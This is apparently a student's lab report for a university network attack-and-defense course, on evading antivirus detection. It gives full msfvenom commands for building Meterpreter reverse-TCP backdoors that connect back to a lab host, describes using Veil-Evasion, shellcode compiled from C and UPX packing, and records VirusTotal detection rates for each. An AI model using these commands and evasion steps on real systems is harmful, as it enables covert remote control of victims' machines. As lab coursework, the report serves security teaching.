2017-2018-2 20155225《网络对抗技术》实验三 免杀原理与实践
免杀工具1——msfvenom使用编码器
知道msfvenom的编码原理,就知道不管迭代编码多少次都没用,总有一段译码指令在头部,这个头部就在特征库里,一下就检测出来了。
但还是试试吧。编码方式选shikata_ga_nai;迭代编码10次;还可以用-x使用自定义可执行文件模板,那就选一个windows下计算器程序(calc.exe)作为模板。
所以,指令是这样的:
msfvenom -p windows/meterpreter/reverse_tcp -x calc.exe -e x86/shikata_ga_nai -i 10 LHOST=192.168.226.129 LPORT=443 -f exe > rcu.exe
刚一放到win7上,就被腾讯电脑管家秒删了……
放到VirusTotal上测一下呢,哇,报毒率49/65。可是,剩下16/65的杀软都在干嘛……这么明显的木马都扫不出来???
免杀工具2——Veil-Evasion
Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中Veil 能绕过常见的杀毒软件,它会尽可能使每个payload文件随机。
首先安装Veil-Evasion就是个问题。整整装了一天,终于搞好了。然后在网上找了一个教程学习一下使用方法。 使用veil-evasion打造免杀payload(1)
我用的6号payload——c/meterpreter/rev_tcp,成功产生木马文件ps5225.exe。如图:
把这个木马拷贝到靶机win7里,立马被腾讯电脑管家给秒删了……很悲伤,但还是连了一下主机试试看veil生成的木马有没有用,设置监听的时候,是没有c/meterpreter/rev_tcp这个payload的,只能用windows/meterpreter/reverse_tcp,试了一下是可以的。如图:
再放到VirusTotal上测一下呢。扫描出来的结果是31/67,比之前好多了。
免杀技术3——C语言调用Shellcode
先用这条指令生成一个C语言格式的shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=443 -f c
再把shellcode数组写成一个程序。
这里,大家会遇到一个非常棘手的问题,就是交叉编译。i686-w64-mingw32-XXX是Linux平台的交叉编译器。又一个安装问题来了……看了好多解决方法,其中提到说Ubuntu里面直接就有mingw32,所以我灵机一动把kali生成的met.c,直接拿到Ubuntu里做交叉编译,成功得到met.exe!!
把met.exe放到win7靶机里实测可以回连,如图:
把met.exe放到win7的时候很忐忑,很怕被再次秒删……结果,电脑管家没有发现!嘿嘿,放到到VirusTotal上测一下呢,报毒率还是31/67。
免杀技术4——加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 压缩壳(UPX)
给之前的met.exe加个壳得到met_upxed.exe:
而且成功回连了
报毒率为27/66
后门刚拷到win7上的时候,电脑管家没有报毒,可连接一次之后,立刻就被删了,说明电脑管家可能是根据软件行为报毒。
遇到的问题
- vim如何与外界复制粘贴
具体参考vim 如何与外界粘贴复制
- 交叉编译时,提示无法定位mingw32包。
Ubuntu下,mingw32很好安装,娄老师课上用的Ubuntu虚拟机可以很顺畅地安装好mingw32。
基础问题回答
(1)杀软是如何检测出恶意代码的?
研究恶意代码提取特征码,放到特征库,进行特征匹配;监控各软件行为,分析软件行为,有主动连接远程控制端等行为,被判断为后门。
(2)免杀是做什么?
免杀就是避免被杀毒软件发现啊……
(3)免杀的基本方法有哪些?
可以利用免杀工具,比如veil,可以加壳,或者用C语言调用shellcode。
实践总结与体会
这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。同时,安装软件配置环境真的很考验解决问题的能力。收获很多,之后想继续学习,争取做一个完全免杀的后门出来。
离实战还缺些什么技术或步骤?
离实战的话,感觉还差得很远呢,还需要进行信息收集,漏洞分析,然后根据漏洞,构造后门,以及隐藏,痕迹清理等。